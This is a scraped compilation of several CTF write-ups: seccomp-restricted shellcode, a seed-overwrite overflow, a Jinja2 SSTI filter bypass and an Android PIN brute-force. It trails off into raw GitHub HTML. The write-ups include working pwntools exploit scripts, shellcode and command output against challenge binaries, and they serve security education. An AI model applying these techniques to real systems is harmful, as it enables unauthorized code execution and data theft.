I thought this was a great problem from [NahamCon](https://ctf.nahamcon.com). I just about solved it during the CTF. Afterwards, I saw a few solutions [1](https://github.com/MaherAzzouzi/LinuxExploitation/blob/master/NahamCon2022/stackless/solve.py), [2](https://discord.com/channels/598608711186907146/970036822338064394/970044239687856188), [3](https://discord.com/channels/598608711186907146/970036822338064394/970041417147756624) and then fixed my solution. One solution I completely missed was that ```fs:0``` still contained a heap address [4](https://discord.com/channels/598608711186907146/970036822338064394/970045488986464306).
The [challenge](https://github.com/tj-oconnor/ctf-writeups/blob/main/nahamcon_ctf/stackless/stackless.c) initially creates a stack pivot at a random memory location for shellcode.
```ccode = mmap((void *)addr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);```
It then marks the memory region ```PROT_READ | PROT_EXEC``` only, jumps to it, and clears all the registers.
```cmprotect(code, 0x1000, PROT_READ | PROT_EXEC)...__asm__ volatile(".intel_syntax noprefix\n" "mov r15, %[addr]\n" "xor rax, rax\n" "xor rbx, rbx\n" "xor rcx, rcx\n" "xor rdx, rdx\n" "xor rsp, rsp\n" "xor rbp, rbp\n" "xor rsi, rsi\n" "xor rdi, rdi\n" "xor r8, r8\n" "xor r9, r9\n" "xor r10, r10\n" "xor r11, r11\n" "xor r12, r12\n" "xor r13, r13\n" "xor r14, r14\n" "jmp r15\n" ".att_syntax" : : [addr] "r"(code));```
Finally, there are also seccomp rules on the binary that only permit open, read, write, close, exit, exit_group
```└─# seccomp-tools dump ./stackless Shellcode line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0012 0006: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0012 0007: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0012 0008: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0012 0009: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0012 0010: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0012 0011: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL```
The solution is to obviously build shellcode that reads flag.txt by opening, reading and writing the contents of the flag to stdout. But this is a little tricky, given all the registers (including RSP) have been cleared and the stack is marked as non-writeable.
The first challenge is to build an open() syscall that points to ```'flag.txt'``` using relative addressing off the instruction pointer. The length of our shellcode will end up being 78 bytes, but we can also determine that using ```print(len(shellcode)-len(asm('mov rax, 0x2; lea rdi, [rip]+01;')))```, which I commented in the final solution.
```python''' open(rax=0x2, rdi=rsp+len(shellcode), rsi=0x0, rdx=0x40000)'''shellcode=asm("""mov rax, 0x2lea rdi, [rip]+78mov rsi, 0x0mov rdx, 0x4000syscall""")
#print(len(shellcode)-len(asm('mov rax, 0x2; lea rdi, [rip]+01;')))shellcode+= b'flag.txt'```
The next challenge is to determine a region to store the char* , which points to the file contents from the read() syscall. If we tried using our current stack to store the char* we would, we see RAX returns ```0xfffffffffffffff2```, which is errno 14 or ```bad address``` since the region is marked as readable and executable but not writeable. Thus, we will just create a loop that starts at ```0x7ff000000000```, counting up by 0x1000 bytes until we no longer get the ```bad address``` error.
```python''' read(rax=0x0, rdi=fd(0x3), rsi=0x7ff000000000+offset, rdx=0x100)'''shellcode+=asm("""mov rsi, 0x7ff000000000cmp_loop:add rsi, 0x1000mov rax, 0x0mov rdi, 0x3mov rdx, 0x100syscall; cmp rax, 0xfffffffffffffff2je cmp_loop""")```
After this we will put our solution together by writing 0x100 bytes of ```flag.txt``` to stdout.
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''b *$rebase(0x00001833)continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) else: return process(e.path)
p = start()
''' open(rax=0x2, rdi=rsp+len(shellcode), rsi=0x0, rdx=0x40000)'''shellcode=asm("""mov rax, 0x2lea rdi, [rip]+78mov rsi, 0x0mov rdx, 0x4000syscall""")
''' read(rax=0x0, rdi=fd(0x3), rsi=0x7ff000000000+offset, rdx=0x100)'''shellcode+=asm("""mov rsi, 0x7ff000000000cmp_loop:add rsi, 0x1000mov rax, 0x0mov rdi, 0x3mov rdx, 0x100syscall; cmp rax, 0xfffffffffffffff2je cmp_loop""")
''' write(rax=0x1, rdi=stdout=0x1, rdx=0x100)'''shellcode+=asm("""mov rax, 0x1mov rdi, 0x1syscall""")
#print(len(shellcode)-len(asm('mov rax, 0x2; lea rdi, [rip]+01;')))''' append flag.txt to stack '''shellcode+=b'flag.txt\0'
p.recvuntil(b'Shellcode length')p.sendline(b"%i" %len(shellcode))p.recvuntil(b'Shellcode')p.sendline(shellcode)
p.interactive()``` |
## Solution
I just wrote a small C program to dertermine the value we needed to overwrite the seed with.
```cint main() {
setvbuf(stdout, NULL, _IONBF, 0);
int i = 0; while (1==1) {
srand(i); int key0 = rand() == 306291429; int key1 = rand() == 442612432; int key2 = rand() == 110107425;
if (key0 && key1 && key2) { printf("seed = %i",i); exit(0); } else { i = i +1; } }}```
Running, tells us the seed must equal ```5649426```
```$ gcc -o luck luck.c$ ./luckseed = 5649426
```
We will use this value to overwrite the local variable returned from seed into (e\|r)ax.
``` 0x00005555555552e4 <+53>: call 0x5555555551f1 <seed> 0x00005555555552e9 <+58>: mov edi,eax 0x00005555555552eb <+60>: call 0x555555555060 <srand@plt> 0x00005555555552f0 <+65>: call 0x5555555550a0 <rand@plt>```
Next, I set a breakpoint at ```0x5555555552e9``` to determine how many bytes of padding are needed to overwrite ```eax```.
```pwndbg> break *0x00005555555552e9Breakpoint 1 at 0x5555555552e9pwndbg> cyclic 25aaaabaaacaaadaaaeaaafaaagpwndbg> rStarting program: /root/workspace/tamu-ctf/lucky/lucky Enter your name: aaaabaaacaaadaaaeaaafaaagpwndbg> x/8 $rax0x616164: Cannot access memory at address 0x616164```
We see that it takes 12 bytes. So the solution now is pretty straightforward, pad 12 bytes, then overflow the local variable in seed() with 5649426.
```pythonfrom pwn import *import time
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote("tamuctf.com", 443, ssl=True, sni="lucky") else: return process(e.path)
p = start()
pad = b'A'*12seed = p64(5649426)
p.sendline(pad+seed)p.interactive()```
Running this gives our flag
```{6:15}~/workspace/tamu-ctf/lucky ➭ python3 pwn-lucky.py BIN=./lucky REMOTE[*] '/root/workspace/tamu-ctf/lucky/lucky' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] Loading gadgets for '/root/workspace/tamu-ctf/lucky/lucky'[+] Opening connection to tamuctf.com on port 443: Done[*] Switching to interactive modeEnter your name: Welcome, AAAAAAAAAAAA\x12VIf you're super lucky, you might get a flag! GLHF :DNice work! Here's the flag: gigem{un1n1t14l1z3d_m3m0ry_15_r4nd0m_r1ght}``` |
challenge provides a pm3 trace file where a file is read, file is the flag but the communication mode is encrypted, aes key is not set (all zeros) so we can get the session key and decrypt it |
TL;DR: SSTI in Jinja2. Filter on {{ and }}, but bypassed by using {% and %} instead. Get output of system commands executed using this SSTI by using {% if %} tag to print to page if a character in the output matches with another character of our choosing. Brute-force this other character to leak outputs of commands and eventually leak contents of admin.html. |
# Secure Notes - NahamCon CTF 2022 - [https://www.nahamcon.com/](https://www.nahamcon.com/)Mobile, 485 Points
## Description
 ## Secure Notes Solution
Let's install the [secure_notes.apk](./secure_notes.apk) on [Genymotion Android emulator](https://www.genymotion.com/):

If we are trying to insert an invalid OTP we get the message "Invalid OTP":

By decompiling the application using [jadx](https://github.com/skylot/jadx)) we can see the following methods on ```LoginActivity``` class:```java @Override // b.c, androidx.fragment.app.e, androidx.activity.ComponentActivity, s.d, android.app.Activity public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(R.layout.activity_login); Button button = (Button) findViewById(R.id.button); TextView textView = (TextView) findViewById(R.id.password); Intent intent = new Intent(this, MainActivity.class); File file = new File(getCacheDir() + "/db.encrypted"); if (!file.exists()) { try { InputStream open = getAssets().open("databases/db.encrypted"); byte[] bArr = new byte[open.available()]; open.read(bArr); open.close(); FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(bArr); fileOutputStream.close(); } catch (Exception e2) { throw new RuntimeException(e2); } } button.setOnClickListener(new a(textView, file, intent)); }
@Override // android.view.View.OnClickListener public void onClick(View view) { try { d.k(this.f1583b.getText().toString() + this.f1583b.getText().toString() + this.f1583b.getText().toString() + this.f1583b.getText().toString(), new File(this.f1584c.getPath()), new File(LoginActivity.this.getCacheDir(), "notes.db")); LoginActivity.this.startActivity(this.f1585d); } catch (p0.a unused) { Toast.makeText(LoginActivity.this.getApplicationContext(), "Wrong password", 0).show(); } }```
We can see the application creates file ```db.encrypted``` (on ```onCreate``` methods).Next, ```onClick```method calls to ```d.k``` method with the following arguments:1. Concat the PIN code four times2. Path to ```db.encrypted```3. Path to decrypted file
Let's observe on ```d.k``` method:```javapublic static void k(String str, File file, File file2) { try { SecretKeySpec secretKeySpec = new SecretKeySpec(str.getBytes(), "AES"); Cipher instance = Cipher.getInstance("AES"); instance.init(2, secretKeySpec); FileInputStream fileInputStream = new FileInputStream(file); byte[] bArr = new byte[(int) file.length()]; fileInputStream.read(bArr); byte[] doFinal = instance.doFinal(bArr); FileOutputStream fileOutputStream = new FileOutputStream(file2); fileOutputStream.write(doFinal); fileInputStream.close(); fileOutputStream.close(); } catch (IOException | InvalidKeyException | NoSuchAlgorithmException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e2) { throw new a("Error encrypting/decrypting file", e2); } }```
As we can see, ```db.encrypted``` file encrypted using AES and we know the PIN code is 4 digits.
By observing ```onCreate``` on ```MainActivity``` class we can see:```javapublic void onCreate(Bundle bundle) { int i2; LinearLayoutManager linearLayoutManager; super.onCreate(bundle); setContentView(R.layout.activity_main); String path = new File(getCacheDir(), "notes.db").getPath(); ArrayList arrayList = new ArrayList(); try { BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(new FileInputStream(path))); StringBuffer stringBuffer = new StringBuffer(); while (true) { String readLine = bufferedReader.readLine(); if (readLine == null) { break; } stringBuffer.append(readLine); } try { JSONArray jSONArray = new JSONObject(stringBuffer.toString()).getJSONArray("notes"); for (int i3 = 0; i3 < jSONArray.length(); i3++) { JSONObject jSONObject = jSONArray.getJSONObject(i3); arrayList.add(new q0.b(jSONObject.getInt("id"), jSONObject.getString("name"), jSONObject.getString("content"))); } } catch (JSONException e2) { e2.printStackTrace(); } } catch (IOException e3) { e3.printStackTrace(); } this.f1587o = (RecyclerView) findViewById(R.id.recyclerView); this.p = new LinearLayoutManager(1, false); a aVar = a.LINEAR_LAYOUT_MANAGER; this.r = aVar; if (bundle != null) { this.r = (a) bundle.getSerializable("layoutManager"); } a aVar2 = this.r; if (this.f1587o.getLayoutManager() != null) { LinearLayoutManager linearLayoutManager2 = (LinearLayoutManager) this.f1587o.getLayoutManager(); View Y0 = linearLayoutManager2.Y0(0, linearLayoutManager2.x(), true, false); i2 = Y0 == null ? -1 : linearLayoutManager2.Q(Y0); } else { i2 = 0; } int ordinal = aVar2.ordinal(); if (ordinal != 0) { if (ordinal != 1) { linearLayoutManager = new LinearLayoutManager(1, false); } else { linearLayoutManager = new LinearLayoutManager(1, false); } this.p = linearLayoutManager; this.r = aVar; } else { this.p = new GridLayoutManager(this, 2); this.r = a.GRID_LAYOUT_MANAGER; } this.f1587o.setLayoutManager(this.p); this.f1587o.e0(i2); new b(this, arrayList).start(); }```
According to this code, we know we expect to decrypt a file called ```notes.db``` with JSON content.
Let's pull the ```encrypted.db``` file from the emulator:```console┌─[evyatar@parrot]─[/mobile/secure_notes]└──╼ $ adb pull /data/data/com.congon4tor.securenotes/cache/db.encrypted/data/data/com.congon4tor.securenotes/cache/db.encrypted: 1 file pulled. 0.1 MB/s (224 bytes in 0.002s)```
Now, We can decrypt the file using the following Brute Force [java code](./brute_force.java):```javapublic class Main {
public static void main(String[] args) throws IOException { for(int i = 1000 ; i<10000 ; i++) { String iStr = String.valueOf(i); String currentPin = iStr + iStr + iStr + iStr; try { File file = new File("/mobile/secure_notes/db.encrypted"); File file2= new File("/mobile/secure_notes/notes.db"); SecretKeySpec secretKeySpec = new SecretKeySpec(currentPin.getBytes(), "AES"); Cipher instance = Cipher.getInstance("AES"); instance.init(2, secretKeySpec); FileInputStream fileInputStream = new FileInputStream(file); byte[] bArr = new byte[(int) file.length()]; fileInputStream.read(bArr); byte[] doFinal = instance.doFinal(bArr); FileOutputStream fileOutputStream = new FileOutputStream(file2); fileOutputStream.write(doFinal); fileInputStream.close(); fileOutputStream.close();
String content = Files.readString(Paths.get("/mobile/secure_notes/notes.db"), StandardCharsets.US_ASCII); if(content.contains("notes")) { System.out.println("The PIN code is: " + i); break; } break; } catch (Exception e2) { } } }}```
And by running this we get the following output:```consoleThe PIN code is: 5732```
By observing the decrypted file ```notes.db``` we get:```console┌─[evyatar@parrot]─[/mobile/secure_notes]└──╼ $ cat notes.db{ "notes": [ { "id": 0, "name": "Note 1", "content": "My first secure note!" }, { "id": 1337, "name": "flag", "content": "flag{a5f6f2f861cb52b98ebedcc7c7094354}" } ]}```
And we get the flag ```flag{a5f6f2f861cb52b98ebedcc7c7094354}```. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF/ctf_events/nahamcon_22/pwn at main · Crypto-Cat/CTF · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="D7D3:76EE:1CAF9DB5:1D8BE78D:64121B7F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f8861ba6bc82012bc4cd881607e966249734433f3003d846e8c6f1d6b1cb6f87" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEN0QzOjc2RUU6MUNBRjlEQjU6MUQ4QkU3OEQ6NjQxMjFCN0YiLCJ2aXNpdG9yX2lkIjoiNjA2MzY5MTI5MTgxMTc4MTUwMyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="97725761b48242ba57d9f10565bffb45eee3efff716337346860334b9126a885" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:332726410" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF chall write-ups, files, scripts etc (trying to be more organised LOL) - CTF/ctf_events/nahamcon_22/pwn at main · Crypto-Cat/CTF"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/8cae4f07fbe5ee03c76ce74c7a6489cbeb3ec8513b12ad5622655aa95b4f3c5d/Crypto-Cat/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/ctf_events/nahamcon_22/pwn at main · Crypto-Cat/CTF" /><meta name="twitter:description" content="CTF chall write-ups, files, scripts etc (trying to be more organised LOL) - CTF/ctf_events/nahamcon_22/pwn at main · Crypto-Cat/CTF" /> <meta property="og:image" content="https://opengraph.githubassets.com/8cae4f07fbe5ee03c76ce74c7a6489cbeb3ec8513b12ad5622655aa95b4f3c5d/Crypto-Cat/CTF" /><meta property="og:image:alt" content="CTF chall write-ups, files, scripts etc (trying to be more organised LOL) - CTF/ctf_events/nahamcon_22/pwn at main · Crypto-Cat/CTF" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/ctf_events/nahamcon_22/pwn at main · Crypto-Cat/CTF" /><meta property="og:url" content="https://github.com/Crypto-Cat/CTF" /><meta property="og:description" content="CTF chall write-ups, files, scripts etc (trying to be more organised LOL) - CTF/ctf_events/nahamcon_22/pwn at main · Crypto-Cat/CTF" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/Crypto-Cat/CTF git https://github.com/Crypto-Cat/CTF.git">
<meta name="octolytics-dimension-user_id" content="12751872" /><meta name="octolytics-dimension-user_login" content="Crypto-Cat" /><meta name="octolytics-dimension-repository_id" content="332726410" /><meta name="octolytics-dimension-repository_nwo" content="Crypto-Cat/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="332726410" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Crypto-Cat/CTF" />
<link rel="canonical" href="https://github.com/Crypto-Cat/CTF/tree/main/ctf_events/nahamcon_22/pwn" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
